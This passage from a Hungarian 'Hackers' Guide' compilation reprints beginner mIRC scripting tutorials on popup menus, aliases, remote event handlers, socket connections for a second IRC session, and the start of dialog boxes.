A kód megértéséhez természetesen ismerni kell az IRC parancsokat is (jelen esetben a "mode"-ot. Errôl, és a bot parancsokról (lásd késöbb) magyar leírást a http://members.tripod.com/~video_page/baba.htm oldalon találsz). Az átláthatóság kedvéért "[ENTER]" felirattal jelöltem, hogy hol kezdôdnek az új sorok, ezeket természetesen NEM szabad a kódba beleírni, helyettük csupán ENTER-t kell nyomni. A ";"-al kezdôdô sorokat a mIRC nem veszi figyelembe, ide írhatjuk a megjegyzéseket. A kód tehát:

&OP/DEOP: { [ENTER] if ( $snick( $chan, 1) isop $chan ) { mode $chan -o $snick( $chan, 1) } [ENTER] ;ha van a kijelölt nick-nek @-a, akkor elvesszük[ENTER] else { mode $chan +o $snick( $chan, 1) } [ENTER] ;különben adunk neki[ENTER] } [ENTER]

145

Hackers’ Guide

A menü már mûködik is, de van egy szépséghibája a programunknak: nem számol azzal az esettel, hogy esetleg nincs is operátori jogunk a csatornán (hiszen akkor mindegy, hogy van-e az adott illetônek @-a, sem elvenni sem adni nem tudunk neki...). Bôvítsük ki a scriptet úgy, hogy ha nincs @-unk, akkor kérjen az adott illetôtôl (azt feltételezve, hogy az illetô bot)! Természetesen az "[ENTER]"-eket most sem kell beírni!

&OP/DEOP/OPME: { [ENTER] if ( $me isop $chan ) { [ENTER] ;ha van @-om a csatin, akkor lefutnak az elöbbiek[ENTER] if ( $snick( $chan, 1) isop $chan ) { mode $chan -o $snick( $chan, 1) } [ENTER] else { mode $chan +o $snick( $chan, 1) } [ENTER] } [ENTER] ;ellenkezô esetben kérek az illetôtôl[ENTER] else { msg $snick( $chan, 1) OP $$?="Password?" } [ENTER] } [ENTER]

A programunk így abban az esetben, ha nincs @-unk, felhoz egy ablakot, melyben megkérdezi a bothoz a jelszavunkat, majd OP-ot kér tôle. Ehhez a $$?="megjelenítendô szöveg" függvényt használtuk.

A menüpont egyetlen szépséghibája mostmár csupán az, hogy egyszerre csak egy nick-et tudunk vele opolni/deopolni. Persze néhány újabb függvény bevezetésével ezen is segíthetünk:

$iif(feltétel, visszatérési érték ha igaz, visszatérési érték ha hamis ) - az IF parancs függvénybeli változata, melyet most arra fogunk használni, hogy ha a kijelölt illetônek van @-a, akkor "-o" mûveletet hajtsunk rajta végre, ha pedig nincs, akkor "+o"-t. $+ - két karaktersorozatot lehet vele összekapcsolni. Pl. "Al $+ ma" = "Alma". &OP/DEOP/OPME: { [ENTER] if ( $me isop $chan ) { [ENTER] mode $chan $iif( $snick( $chan, 1) isop $chan, -o, +o ) $+ $iif( $snick( $chan, 2) isop $chan, -o, +o ) $+ $iif( $snick( $chan, 3) isop $chan, -o, +o ) $snick( $chan, 1) $snick( $chan, 2) $snick( $chan, 3) } [ENTER] else { msg $snick( $chan, 1) OP $$?="Password?" } [ENTER] } [ENTER]

Már csak a végsô simítás van hátra: az áttekinthetôség érdekében az OP/DEOP/OPME menüpontnak jobb, ha csak az a része van nagybetüvel, amit eredményezni fog a rákattintás (ha van OP-unk, akkor opol/deopol, ellenkezô esetben OP-ot kér). Az $iif függvénnyel ezt könnyedén megcsinálhatjuk, csak az &OP/DEOP/OPME -t kell erre kicserélnünk:

$iif( $me isop $chan, &OP/DEOP/opme, op/deop/&OPME }

A popups-ban fômenüként érdemes elhelyezni, így egyszerre három parancsot érhetünk el villámgyrosan, s bármikor.

Végezetül összegyûjtöttem a menükben leggyakrabban használt függvényeket, és operátorokat, melyek ugyan benne vannak a mIRC helpjében, de könnyen elveszhetnek a rengetegben, s ráadásul ott az egész angolul van.

146

Hackers’ Guide

Függvények: $nick(csatinév, szám) - visszaadja az adott csatin a . nick-et. Ha a = 0, akkor azt írja ki, hogy hányan vannak a csatin. $opnick(csatinév, szám) - hasonló a $nick()-hez, de ez csak az OP-osokkal foglalkozik. $vnick(csatinév, szám) - szintén, ezúttal nem az OP-osokkal, hanem a VOICE-vel rendelkezôkkel. $x, ahol x egy szám - az x. paramétert adja vissza, használható $snick() helyett is a fenti scriptünkben. "$x-y" formában az x-tôl az y-ig lévô paramétereket kapjuk meg (feltéve, hogy nem csak egy paraméter van), "$x-"-ként használva pedig az összes x utánit. $null - üres a visszatérési értéke, arra szokás használni, hogy megállapítsuk valamirôl, hogy létezik-e. Pl. az "IF ( $2 = $null ) { parancs }"-nál akkor fog a parancs végrehajtódni, ha nincs második paramétere a meghívott parancsnak (ill. menü esetében nincs kijelölve 2 nick). $active - az aktív ablak nevét kapjuk meg.

Operátorok: ison - x ison y, igaz, ha x az y csatin van. isvo - x isvo y, igaz, ha x VOICE-s y csatin. ischan - x ischan, ha x csatornanév. isignore - x isignore y, ha x ignoreolva van y paraméterrel(elhagyható). isnotify - x isnotify, ha a norify list-edben van az illetô.

(Ha az operátor elé közvetlenül "!"-et teszünk, akkor az ellentetjére változik a visszatérési értéke - pl. x !isop y akkor ad igazat, ha x nem opos y csatin.)

Video (Varga Gábor) [email protected] ************************************************************************************************ A mi mIRC-ünk... II. rész: Aliases

Elôzô alkalommal a menük átírásával már elkápráztathattuk magunkat - itt az ideje, hogy másokban is hasonló érzéseket keltsünk, jelen esetben azzal, hogy milyen gyorsan tudunk visszafele gépelni.

A Tools/Aliases alatt található a mIRC azon része, ahol új parancsokat definiálhatunk, vagy régieket másíthatunk meg. Most egy olyan parancsot fogunk

147

Hackers’ Guide

készíteni, mely a paramétereit visszafele írja ki az aktuális ablakba, azt a látszatot keltve, hogy mi gépeltünk úgy.

Az Aliases felépítése triviális: a parancsnak szánt szó után itt is "{" "}" jelek között van az algoritmus. Néhány kiemelt névrôl szintén szólhatunk: az Fx, sFx és cFx-eket (ahol x egy egész szám 0-13 között) parancs neveként megadva F1-F12-vel, ill. Shift-el vagy Control-al együtt megnyomott változataival érhetjük el az adott parancsot.

A menüknél szerzett tudásunkat két fontos dologgal kell bôvítenünk. Aki programozott már, annak ismerôsek a változók - a mIRC-ben ezek kezelése rendkívül egyszerû, még a típusukat sem kell megadni használatuk elött. A változók nevei "%" jellel kezdôdnek - a késôbbiekben ezzel a névvel tudunk hivatkozni egy adott számra ill. szövegre, amit elötte értékül adtunk neki. Pl. ha "%proba = kutya", akkor az "msg $active %proba" eredménye az lesz, hogy az aktuális ablakba a "kutya" szót írjuk. A változók aktuális értékeit a Variables menüpont alatt tekinthetjük meg.

A ciklusok legalább oly fontosak, mint a változók - igazán jó programot meglehetôsen nehéz nélkülük írni. A ciklus az egymás után elvégzendô azonos alapú munkákat egyszerûsíti le - adott esetben pl. nem kell tízszer leírni ugyanazt a parancssorozatot, elég ha egy goto parancs segítségével visszaugrunk egy ":" kezdettel megadott cimkére, hogy újból lefuthassanak az utána álló utasítások. Nagyon sok kiakadás forrása egy-egy végtelen ciklus, ezért fontos figyelni arra, hogy minden esetben fejezôdjön be annak futása, egy return vagy egy halt parancs meghívásával. Míg az elöbbinél ha másik parancsból lett meghívva, akkor visszaugrik annak futtatásához, az utóbbinál tökéletesen leáll a program futása. A következô ciklus például végtelen, mert nincs olyan hely, ahol megállhatna:

%a = 0[ENTER] :ciklus[ENTER] inc %a[ENTER] goto ciklus[ENTER]

Ha viszont a ":ciklus" és a "goto ciklus" közé beszúrunk egy "if %a = 10 { halt }" sort, akkor a ciklusunk 10 futás után megáll, hiszen a feltétel teljesül, s így lefut a halt parancs.

Két új függvényt is meg kell ismernünk a kód megértéséhez. Egyikük a $len, amely egy adott szöveg hosszát adja vissza, másikuk pedig a $mid, amely három paramétert kap: az elsô egy szöveg, a második az a szám, ahányadik karakterére vagyunk kiváncsiak, a harmadik pedig az, hogy a másodikként megadott karaktertôl számítva hány utánalévôt vegyen figyelembe.

Az áttekinthetôség érdekében a sorok végét most is [ENTER]-el zárom, ezeket a forrásba nem szabad beleírni, helyettük Enter-t kell nyomni!

vissza {[ENTER] ;megadtuk az új parancsunk nevét (vissza)[ENTER] if $1 = $null { return }[ENTER] ;ha nem adtunk meg paramétert a parancs meghívásakor, akkor nincs mit csinálnunk, tehát befejezzük annak futását ($1 és $null leírását lásd az elôzô

148

Hackers’ Guide

számban)[ENTER] %hossz = $len( $1- )[ENTER] ;a %hossz változóban eltároljuk, hogy milyen hosszú a megfordítandó szöveg. Ez ahhoz kell, hogy a $mid utasítással elôször a legutoló karaktert kapjuk meg.[ENTER] %mond = ""[ENTER] ;lenullázzuk a %mond változót, hátha volt benne valami (pl. egy másik program szemetelt bele). Ebben fogjuk tárolni a kész, megfordított szöveget.[ENTER] :ismet[ENTER] ;cimke - ide fog majd visszaugrani a goto utasításunk[ENTER] %mond = %mond $+ $mid($1-, %hossz, 1 ) $+ [CTRL+B][CTRL+B][ENTER] ;a %mond-nak értékül adjuk saját magát + a paraméter %hossz -adik karakterét. Ez elôször az utolsó karaktert fogja a %hossz -nak értékül adni, utána - mivel a %hossz-t csökkenteni fogjuk a következô lépésben - az utolsó elöttit, s így tovább, szépen sorban minden karakter belekerül - visszafelé... A [CTRL+B]-t nem beírni kell, hanem megnyomni. Ez azért fontos, mert a mIRC nem veszi figyelembe a változó végén lévô space-eket, ha viszont két [CTRL+B]-t rakunk oda, akkor semmiképpen nem lesz space az utolsó karakter.[ENTER]

dec %hossz[ENTER] ;a csökkentés, amit igértem[ENTER] if %hossz = 0 {[ENTER] msg $active %mond[ENTER] unset %mond[ENTER] unset %hossz[ENTER] return[ENTER] }[ENTER] ;ha a %hossz = 0, azaz már minden karakter szerepel a %mond-ban, akkor készen vagyunk: kiírjuk a megfordított szöveget az aktuális ablakba, majd az unset parancs segítségével lenullázzuk a változókat, hogy ne maradjon szemét, s végül kilépünk a ciklusból.[ENTER] goto ismet[ENTER] ;amennyiben a %hossz még nem egyenlô nullával, folytatjuk a karakterek visszafele való elhelyezését.[ENTER] }[ENTER]

Ezen sorokat a Tools/Aliases-be írva máris élvezhetjük a visszafele írás könnyedségét, csak a /vissza parancsot kell beírnunk, s utána a kiirandó szöveget.

Mivel a Status-ba nem tudunk írni msg-vel, ahhoz, hogy ezt a scriptet (ill. más próbálkozásokat) tesztelni tudjuk, egy IRC serverre van szükség, ez pedig meglehetôsen nagy költségeket jelent egy saját script fejlesztésnél, amennyiben telefonon keresztül kapcsolódunk a hálózatra. Erre a problémára kitûnô megoldás, ha telepítünk otthonra egy Windows-os IRC servert. Ilyenekbôl sok féle létezik, egyik kedvencem közülük a WIRC Server, amelynek szabadon másolható verziója letölthetô a http://members.tripod.com/~video_page/ircserv.zip címrôl. Habár a felhasználók maximális száma 10-re van korlátozva, ennél többre egy script tesztelésénél nem sokszor van szükség, így az egyszerû konfigurálhatósága, és rövidsége miatt érdemes ezt a programot használni. Script írásakor fontos figyelembe venni, hogy nem minden fog úgy mûködni az IRCNeten, mint az otthoni serveren, hiszen akadnak különbségek a két server között: a WIRC server nem támogatja a WHOWAS parancsot, nincsenek rajta a server által fenntartott csatornák

149

Hackers’ Guide

(&servers, stb.), nincs meg a hármas megkötés az egyes mode parancsokra, és az IRCOP-ok (Te :) sokkal több privilégiummal rendelkeznek rajta, mint az IRCNet-es servereken.

A wircsrv.exe indítása után a mIRC-ben a /server 127.0.0.1 utasítással már csatlakozhatunk is a serverhez, és ettôl kezdve a scriptünket úgy tesztelhetjük, minthacsak on-line lennénk. A 127.0.0.1 helyett (ez egy hivatkozás a saját gépünkre) használhatjuk a gép nevét is, amelyet a Windows installálásakor adtunk meg.

A saját parancsok gyártásához fontos ismerni a mIRC függvényeit, ezek egy részérôl magyar leírást a www.extra.hu/webcen/irc.htm oldalon olvashatsz, ill. érdemes ötleteket meríteni mások forrásaiból - ilyeneket pl. a http://www.mircscripts.com/és a http://www.mirc.net/ címeken lelsz, ill. a e-trap.tripod.com/scream címrôl letölthetô egy általam írt, magyar nyelvû script is, melyben a fenti példához hasonlóakat is találsz.

Video (Varga Gábor) [email protected] ************************************************************************************************ A mi mIRC-ünk... III. rész: Remote

A mIRC kezelôfelületével, s tudásának felépítésével már megismerkedhettünk - de van a mIRC-nek lelke is, s mivel eddig még nem találkoztunk vele, az minden bizonnyal a Tools/Remote menüpont alatt lelhetô. A programozáskor legtöbbet használt mIRC rész, egyúttal a leg összetettebb is - IRC kliensünk egy-egy ingerre való reakciójának közvetítése mellett az Aliases és a Popups szerepét is képes ellátni.

Ha Remote scriptünkben akarunk új parancsot elhelyezni, akkor azt a sor elején lévô alias parancs segítségével tehetjük meg (a szintaxis innentôl megegyezik az Aliases-nél írtakkal), amennyiben pedig menü írására szeretnénk használni, a sor eleji menu szócskával hozhatjuk mIRC-ünk számára ezt nyilvánvalóvá (a menu szó után az adott ablak neve kell hogy szerepeljen, majd a továbbiakban a Popups-ban tanultak szerint cselekedhetünk).

Az inger-figyelés szintaxisának megértéséhez fontos tudni, hogy a mIRC-ben egyes host-okhoz különbféle User-szinteket rendelhetünk (lásd. Users fülecske), ezáltal szabályozva, hogy egy-egy kitüntetett felhasználóval szemben miként viselkedjen mIRC-ünk. Amennyiben egy külsô hatásra mindenkinek egyformán kell felelni, ezt a részt figyelmen kívül hagyhatjuk.

150

Hackers’ Guide

A ctcp és a raw figyelések kivételével egységes formátumban kell megadni a különbözô történésekre való általunk kívánt reakciókat: "on [felhasználó szint]:[inger]:[esetleges paraméter(ek)]: { [reakció]}" . Ha pl. azt szeretnénk, hogy mindenkit üdvözöljön a scriptünk, aki a #magyar csatira érkezik, akkor ehhez az "on *:JOIN:#magyar: { /msg $chan Szia $nick $+ ! }" sort kell a Remote-ba szúrnunk (a $nick, $chan, $+ függvények jelentését lásd. az Aliases-rôl szóló cikkben).

A Remote-nál is használhatunk kitüntetett karaktereket - egyikük a "^", melyet közvetlenül a felhasználó szintje elé rakva eltüntethetjük a mIRC által felénk mutatott, elôre megadott reagációit egyes dolgokra (pl. JOIN-nál a csatira írt információt arról, hogy valaki érkezett), a másik két fontos karakter pedig a "*" és a "?" - ôket a paramétereknél és a felhasználó szintek megadásánál lehet használni (a "*" - mint a legtöbb helyen - tetszôleges karaktersorozatot, a "?" pedig tetszôleges karaktert helyettesíthet). A "*" és a "?", "#" társukkal együtt akkor is használható, ha azt kell megadni, hogy mely helyeken érvényes az adott szabály - a "?" azonban így a privát msg-ket, a "#" pedig az összes csatornát jelöli, míg a "*" a privát msg-ket és a csatornákat együttesen szimbolizálja.

E havi scriptünkben a CTCP PING válaszát fogjuk kicserélni egy-egy meglepô véletlenszerû szövegre - de elötte nézzük végig a legfontosabb ingereket és paramétereiket:

on[felh. szint]:TEXT:[szöveg]:[hely]: { [parancs] } - ha az adott szöveget az adott helyen írja valaki, akkor végrehajtódik a parancs. Hasonló szintaxisú: NOTICE, ACTION. on [felh. szint]:OP:[csatorna]: { [parancs] } - akkor fut le a parancs, ha valaki OP-ol valakit az adott helyen. Hasonló szintaxisú: DEOP, VOICE, DEVOICE, HELP(IRCNet-en nincs), DEHELP(IRCNet-en nincs), SERVEROP (ha netsplit miatt a server opol valakit), JOIN, PART, KICK, BAN, UNBAN, MODE, SERVERMODE, TOPIC. on [felh. szint]:QUIT: { [parancs] } - ha valaki lelép IRC-rôl, akkor a parancs végrehajtódik. Hasonló szintaxisú: START (amikor a mIRC betöltôdik), CONNECT (serverrel való sikeres kapcsolat megkezdése esetén), USERMODE (felh. mód váltása esetén). CTCP [felh. szint]:[paraméter]: { [parancs] } - adott paraméterrel küldött CTCP esetén fut le a parancs. raw [raw száma]:[paraméter]: { [parancs] }

Nem véletlenül került a raw a legutolsó helyre, hiszen ez a legösszettebb az összes közül - gyakorlatilag bármit figyelhetünk vele (s egyes dolgokat kizárólag vele tudunk figyelni), csak az adott parancshoz tartozó számot kell tudnunk hozzá. Ennek megértéséhez, és használatához fontos ismerni az IRC RFC-t [1459] (itt van leírva, hogy miként is mûködik ez az egész rendszer), vagy - kevésbé érdeklôdôknek, és az egyszerû kezelôfelületet kedvelôknek - érdemes elolvasni, és használni a Jeepster féle "IRC Numeric Reference"-et, melyet a http://www.ircworks.com/ címrôl lehet letölteni. Példaképpen néhány fontosabb hibaüzenet száma: 406 - "nem találtam ilyen nick-et" 432 - "a nick hibás" 433 - "a nick foglalt" 471 - "a csatornára nem férsz be"

151

Hackers’ Guide

473 - "a csati +i-s" 474 - "a csatiról BAN-olva vagy" 475 - "a csati jelszavas" 482 - "nem vagy opos a csatin"

Ennyi információrengeteg után nézzük végre az ígért példát! Sokan nem szeretik, ha PING-elik ôket mások - nekik lesz most egy kis meglepetés: a következô script használatával a CTCP PING válasza helyett egy véletlenszerû szöveget kap a PING-elô válaszul.

ctcp *:PING:{[enter] ;ha bárki CTCP PING-et küld nekünk, akkor a következô utasításokat kell végrehajtani: [enter] haltdef [enter] ;letiltjuk az eredeti választ [enter] %ra = $rand(1,3) [enter] ;a %ra változónak a $rand függvény segítségével véletlenszerû értéket adunk (1-tôl 3-ig terjedôt) [enter] if %ra = 1 { %szoveg = Miert vagy ra kivancsi $nick $+ ? } [enter] elseif %ra = 2 { %szoveg = $nick $+ , $nick $+ , nem mondtak meg neked, hogy ezt nem illik? } [enter] else { %szoveg = Pong! 8) } [enter] ;a random értéktôl függôen kiválasztunk egy szöveget, ami a válasz lesz [enter] ctcpreply $nick PING %szoveg [enter] ;elküldjük a szöveget válaszként a PING-re [enter] unset %szoveg [enter] unset %ra [enter] ;a használt változókat lenullázzuk, hogy ne maradjon bennük szemét [enter] } [enter]

Mivel esetenként lehetséges, hogy egyes script-részeket - pl. ezt a szöveges ping választ - nem szeretnénk használni, érdemes úgynevezett "csapatokba" szervezni az esetlegesen kikapcsolandó részeket. A csapat eleje egy "#[csapat neve] [on/off]"-al kezdôdik, ahol természetesen az on jelzi a bekapcsolt, az off pedig a kikapcsolt állapotot, a csapat vége pedig egy "#[csapat neve] end"-el van jelölve. A továbbiakban az "/enable [csapat neve]", ill. a "/disable [csapat neve]" parancsokkal tudjuk engedélyezni vagy letiltani az adott csapat használatát.

Az utasítások végrehajtását szépítendô, gyakran lehet szükségünk arra, hogy egy-egy parancs ne jelezzen vissza, miszerint sikeresen lefutott (eredetileg ezt tenné pl. az enable, vagy a disable is, ill. az msg-k is látszanak a képernyôn, mikor küldjük ôket) - ilyen esetekben érdemes az utasítás elé közvetlenül egy pontot tenni (pl. /.msg), így annak futásáról a felhasználónak semmiféle tudomása nem lesz.

A Remote scriptek legfôbb problémái abban rejlenek, hogy legtöbbjük folyamatosan teszi teendôit, nem figyelve a floodolásra - a netsplitek és a lag elkerülése végett ugyanis a serverek autómatikusan eltávolítják azokat a serverrôl, akiknek túlságosan nagy az adatforgalmuk. Ha pl. a scriptünk minden köszönônek visszaköszön, akkor egy rosszindulatú felhasználó a köszönések gyors ismétlésével kifloodolhat minket a serverrôl. Egy helyesen megírt script mindig figyel az ilyen eshetôségekre - így pl. a CTCP-t küldô illetô CTCP-it 20 mp-re rögtön ignore-olhatjuk a fenti scriptben, egy ".ignore -tu20 $wildsite" parancs segítségével.

152

Hackers’ Guide

Mivel az emberek többnyire szeretnek tudni arról, ami velük történik - s ez IRC-n sincs másként - az eredeti válasz letiltását kiegyensúlyozandó, érdemes egy "echo 4 -a *** $1 from $nick $+ !" sort is beszúrni a CTCP-k figyeléséhez, hogy a felhasználó is értesüljön a PING érkezésérôl. Az echo parancs segítségével a képernyôre írhatunk - a négyes szám jelen esetben az írás színét adja, míg a "-a" az aktuális ablakra való hivatkozás (helyette állhat egy ablak neve is).

A script elkészültével a legvégsô dolgunk - amennyiben mások által is elérhetôvé akarjuk tenni - a dokumentáció. Ez az a rész, amit én mindig kihagyok, s ezért folyvást engem kérdeznek a scriptem használatának mikéntjérôl...

Video (Varga Gábor) [email protected] ************************************************************************************************ A mi mIRC-ünk... IV. rész: Sockets

Most, hogy a mIRC programozófelületének fô részeit már ismerjük, ideje mélyebb vizekre evezni. Az újabb mIRC-ek képesek a socket kezelésre, azaz TCP és UDP kommuniációra - ez a lehetôség hatalmas kapukat nyit meg a programozó számára: FTP-zô programot, telnet klienst, vagy akár IRC servert is lehet írni a mIRC-en belül.

A programozás megkezdéséhez szükség van egy kis elméleti háttérre - az érthetôség kedvéért ezt itt most megpróbálom minimálisra csökkenteni. Egy-egy gépet az IP címe segítségével tudunk azonosítani - mivel ez egy rendkívül hosszú szám, amit senki sem tud megjegyezni, pontozottdecimális alakban használjuk (pl. 145.236.224.248 - a Matávnet prim. DNS-e), ill. domain nevekkel is hivatkozhatunk rájuk, amit a DNS-ekben, egy táblázatban tárolnak. A gyakorta használatos "DNS kiszolgáló", ill. "DNS server" kifejezések helytelenek, hiszen a DNS a Domain Name Server rövidítése, így a server (kiszolgáló) szó már a DNS-ben is szerepel. Egy-egy IRC-es felhasználó IP-jét a "/DNS" parancs segítségével tudjuk megkérdezni a servertôl, ill. domain neves formáját az illetô whois-ában is láthatjuk.

A TCP összeköttetés-alapú, míg az UDP összeköttetés-mentes protokoll - ez a valóságban annyit jelent majd számunkra, hogy a TCP kommunikációhoz elôször kapcsolódni fogunk a célponthoz, míg ha nincs szükség hosszabb kommunikációra, akkor UDP-t küldünk, "bele a semmibe", kapcsolódás nélkül. Fontos észben tartani, hogy az UDP célbaérkezésérôl semmiféle visszaigazolást nem kapunk (hacsak nem hibaüzenetet, ill. szerencsés esetben a kívánt választ).

Használni fogunk bizonyos "portokat" is - ezek olyanok mintha kis kapuk lennének, s mi választhatjuk meg, hogy a 65536 közül melyiken "megyünk be" - fontos azonban

153

Hackers’ Guide

az is, hogy a kapu nyitva legyen, s a mögötte állók értelmezni tudják, hogy mit akarunk. Egyes portokat a hozzájuk tartozó legismertebb szolgáltatások alapján el is neveztek - a 80-as pl. a http, a 6667-es pedig az IRC portja.

Ahhoz, hogy valamilyen érdemleges kommunikációt tudjunk véghezvinni egy-egy kiszolgálóval, tudnunk kell, hogy azok miként mûködnek. Ezt az információt az RFC-kben találjuk meg (Request For Comments). Egyes RFC-kre a számukkal hivatkozhatunk, így pl. FTP - 959, WWW - 1630, ill. a Remote-nál már említett IRC-szabványról az 1459-es RFC-ben olvashatunk. Nem minden RFC vált szabvánnyá (errôl az 1011-es RFC-ben tudhatunk meg többet). Az RFC-k teljesebb listáját az 1012-es RFC-ben találjuk.

Az alapok után nézzünk pár szót a TCP kommunikáció mIRC-ben történô megvalósításáról! Amennyiben mi akarunk figyelni egy portot, és az azon bejövô adatokat (pl. hogy lássuk, ha valaki megnézi, hogy fenn van-e nekünk a BO), a socklisten [név] [port] parancsot kell használnunk. Az elkövetkezendôkben a megadott névvel fogunk tudni hivatkozni az adott portra - így kell tennünk majd az "on [felh. szint]:socklisten: [név]: { [parancs] } "-nál is, mely akkor futtatja le a parancsot, ha az elôzôleg már figyelt portra valaki csatlakozni akar. Ha kommunikálni akarunk a port-on, akkor kötelezô a sockaccept [név] parancs segítségével elfogadnunk a csatlakozást.

A másik variáció, hogy mi akarunk valakire csatlakozni, ez esetben a sockopen [név] [ip] [port] parancsot kell használnunk. A kapcsolat sikeres létrejöttét az "on [felh. szint]:sockopen: [név]:{ [parancs] } " segítségével észlelhetjük.

Miután megtörtént a kapcsolódás, a kommunikáció a sockwrite és a sockread parancsok segítségével lehetséges. A sockwrite szintaxisa "sockwrite [név] [elküldendô adatok]". Amennyiben nem szöveget akarunk küldeni, a &binvar-t kell használnunk - ezzel itt most nem fogunk foglalkozni, bôvebb információ a mIRC súgójában található róla. Mivel az enter-t jelzô "soremelés-kocsivissza" karaktereket a változókban nem tároljuk, a sockwrite parancsot "-n" opcióval kell meghívni, ha a sor végén "enter"-t is szeretnénk küldeni (ezt a legtöbb esetben használni kell).A sockread szintaxisa "sockread [méret] [változó]", ahol a méret a megtekinteni kivánt adatok mérete byte-ban, a változó pedig az, ahova az adatokat "menteni" akarjuk. A sockread parancsnak az "on [felh.szint]:sockread:[név]: { [parancs] }"-nál, a parancsoknál kell lennie - ezek akkor futnak le, ha adatot kaptunk az adott néven. Ha itt a sockread-et sockwrite-ra cseréljük, akkor a parancs abban az esetben érvényesül, ha befejeztük az adatok küldését (erre kevesebb szükség szokott lenni).

A kommunikáció után a kapcsolat megszakítása a sockclose [név] parancs segítségével lehetséges. Némely esetekben szükséges a hivatkozási nevek megmásítása, ezt a sockrename [régi név] [új név] segítségével tehetjük meg.

Hogy bizonyos információkat tudjunk meg az éppen aktuális kapcsolatról, a függvényeket kell segítségül hívnunk. A legfontosabb a $sock([név]).[tulajdonság], ahol tulajdonságként többek között a következôket írhatjuk:

name - a nevet adja vissza (a zárójelben lévô név tartalmazhat *-ot, így a $sock([név csillaggal],[szám]).name a [szám]. nevet adja vissza, amire áll a csillagos kifejezés.) ip - a kapcsolatban szereplô másik fél IP címe port - a használt port száma

154

Hackers’ Guide

sent & rcvd - elküldött ill. kapott adatok mérete ls & lr - utolsó küldés ill. fogadás óta eltelt idô

Fontos függvény a $sockname is - ez az aktuális kapcsolat nevét adja vissza, a $sockerr, amely akkor ad igazat, ha hiba történt (rögtön az adott socket parancs után kell állnia a vizsgálatnak), és a $portfree([port száma]), mellyel megnézhetjük, hogy egy adott portot használunk-e már.

Most, hogy az alapokkal tisztában vagyunk, nézzünk egy példát használatukra: lépjünk fel mégegy példányban IRC-re, anélkül, hogy újabb mIRC-et indítanánk el!

Ahhoz, hogy ezt megtegyük, tudnunk kell, mit vár el tôlünk az IRC server, miután a kapcsolat létrejött. Az IRC-RFC-ben leírtak szerint elôször a nick-ünket kell megadni - azaz ki kell küldeni egy NICK [becenevünk] parancsot -, majd egy USER parancs segítségével néhány alap-informácót kell megadnunk (ezek fognak a whois-ban látszani). A USER parancs szintaxisa: USER [becenevünk] [host] [server neve] [igazi nevünk], ahol csak e legutolsó beállítás a fontos, mivel az elôzôeken hiába akarunk, a valóságon nem tudunk változtatni.

alias kapcs sockopen newuser 127.0.0.1 6667 [ENTER] ; létrehoztunk egy "kapcs" parancsot - ezzel visszük majd fel a késöbbiekben a klónt. A 127.0.0.1 arra az esetre van, ha a már régebben említett saját IRC servert használjuk tesztelésre - helyette bármely másik IRC server IP-je írható.[ENTER] on *:sockopen:newuser: { [ENTER] ; ha a kapcsolat létrejött...[ENTER] sockwrite -n newuser NICK alma [ENTER] ; elküldjük a nick-ünket (jelen esetben ez "alma")[ENTER] sockwrite -n newuser USER alma 127.0.0.1 irc.sote.hu ezittazigazinevem [ENTER] ; ...majd a USER parancsot használjuk.[ENTER] } [ENTER]

A "kapcs" parancs kiadása után /whois alma-val megnézhetjük az eredményt: az általunk beállított adatokkal megtaláljuk a klónunkat.

A script ezzel még nem készült el - mindenekelött érdemes tájékoztatni a felhasználót a klón sikeres (vagy sikertelen) csatlakozásáról, továbbá ha nem akarjuk, hogy klónunk rövidesen a Ping Timeout istenének martalékul essen, a server PING parancsára PONG-al kell válaszolnunk.

on *:sockread:newuser: { [ENTER] ;figyeljük a bejövô adatokat [ENTER] if ($sockerr ] 0) { echo 4 $active *** Socket hiba } [ENTER] ;ha hiba van, kiírjuk [ENTER] sockread 4096 %temp [ENTER] ;beolvassuk a bejövô adatokat egy változóba [ENTER] if ($sockbr == 0) || ( %temp == $null ) { return } [ENTER] if ($gettok(%temp,1,32) == PING) { .sockwrite -n $sockname PONG : $+ "pong" } [ENTER] ;ha PING-et küldött a server, PONG-al válaszolunk (A $gettok-al a %temp egy adott részét vizsgáljuk - hogy melyikre van szükségünk, azt az IRC RFC-bôl tudhatjuk meg.) [ENTER]

155

Hackers’ Guide

if ($gettok(%temp,2,32) == 001) { echo 4 $active *** Sikeres kapcsolódás. }[ENTER] ;001-et (köszöntô szöveget) akkor kapunk, amikor a serverre sikerült csatlakozni - így ez alkalmas ennek vizsgálatára. [ENTER] if ($gettok(%temp,1,32) == ERROR) { echo 4 $active *** HIBA: $gettok(%temp,2,32) }[ENTER] ;Ha hibaüzenetet kapunk, kiírjuk. [ENTER] }[ENTER]

Utasítás küldéséhez a sockwrite parancsot kell használnunk - egy köszönést például az alábbiakkal hajtathatunk végre vele: sockwrite -n newuser privmsg #csatinev Hello!. A parancsok legtöbb esetben megegyeznek az általunk eddig ismertekkel - ha valami mégsem sikerül, az RFC-t kell segítségül hívni.

úgy tudom, RFC-fordítással nagyon kevesen foglalkoznak - olyannyira, hogy egyetlen sem érhetô el közülük magyar nyelven -, aki tehát komolyabban akar foglalkozni a socket-ekkel, mindenképpen szüksége lesz az angol nyelvre is.

Video (Varga Gábor) [email protected] ************************************************************************************************ A mi mIRC-ünk... V. rész: Dialogs

"Felhasználóbarát felület" - így hívja a Microsoft azt a tolókocsit, amibe a felhasználókat kötözi, hogy azok aztán egereket huzigáljanak, anélkül, hogy tudnák, mi miért történik. Egy mindenki által könnyen kezelhetô program készítése - a cél maga nemes, csak a motiváció hiányzik belôle: ha valamit tanulás nélkül is meg lehet csinálni, nem sokan fognak tanulni hozzá. Mindezt fontos figyelembe vennünk a mIRC scriptek írásakor is - minél kevesebbet kell értenie a felhasználónak az IRC-hez, annál szívesebben használja majd azt (fôleg, ha a script tudása miatt elhitetheti önmagával, hogy profi). A click-orientált felület készítéséhez nyújtanak segítséget a dialog boxok.

Ami a Delphiben pár egérmozdulat, az itt hosszadalmas munka - a párbeszédablakok készítése csak eleinte tûnhet izgalmasnak, mégis fontos része a scriptnek, hiszen ennek köszönheti az a stílusát.

A dialog boxok készítése három fô lépésbôl áll: a felület megtervezése, ha szükség van rá, akkor adatokkal való feltöltése, majd az eseményfigyelés. A felületet a remote-ban a dialog parancs segítségével alakíthatjuk ki:

156

Hackers’ Guide

dialog [név] {[ENTER] ; a név az, amivel a dialogra a késöbb hivatkozni tudunk[ENTER] title "a dialog neve, amit a felsô sorban is látni fogunk"[ENTER] size x y w h[ENTER] ;a párbeszédablak mérete (a négyzet két sarkát kell megadnunk, ha x-nek és y-nak "-1"-et írunk, akkor a doboz a képernyô közepén fog megjelenni)[ENTER] }[ENTER]

